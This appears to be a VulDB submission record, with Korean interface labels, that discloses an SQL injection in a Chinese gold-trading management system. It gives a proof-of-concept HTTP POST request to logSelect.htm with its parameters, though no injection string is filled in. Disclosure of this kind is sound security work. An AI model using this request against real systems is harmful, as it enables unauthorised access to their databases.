| 제목 | 新晨科技股份有限公司 黄金通二级系统三代管理端系统 V3.1 SQL Injection |
|---|
| 설명 | https://github.com/William-xin/CVEs/issues/1
POC:
POST /sysframework/logSelect.htm HTTP/1.1
Host: x.x.x.x:8900
Cookie: JSESSIONID_null_8900=1nk238amgulwsuflzjdc49way
Content-Length: 90
Sec-Ch-Ua-Platform: "Windows"
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: /
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Content-Type: application/x-www-form-urlencoded;utf-8
Sec-Ch-Ua-Mobile: ?0
Origin: https://x.x.x.x:8900
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://x.x.x.x:8900/sysframework/operLog.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: close
page=1&branchtype=01&dateStart=2025-06-25&dateEnd=2025-06-25&nodename=&operuserCode=&cont=
|
|---|
| 원천 | ⚠️ https://github.com/William-xin/CVEs/issues/1 |
|---|
| 사용자 | Starwung (UID 72280) |
|---|
| 제출 | 2025. 06. 26. AM 05:00 (1 년도 ago) |
|---|
| 모더레이션 | 2025. 07. 05. PM 07:42 (10 days later) |
|---|
| 상태 | 중복 |
|---|
| VulDB 항목 | 311214 [Brilliance Golden Link Secondary System 까지 20250424 logSelect.htm nodename SQL 주입] |
|---|
| 포인트들 | 0 |
|---|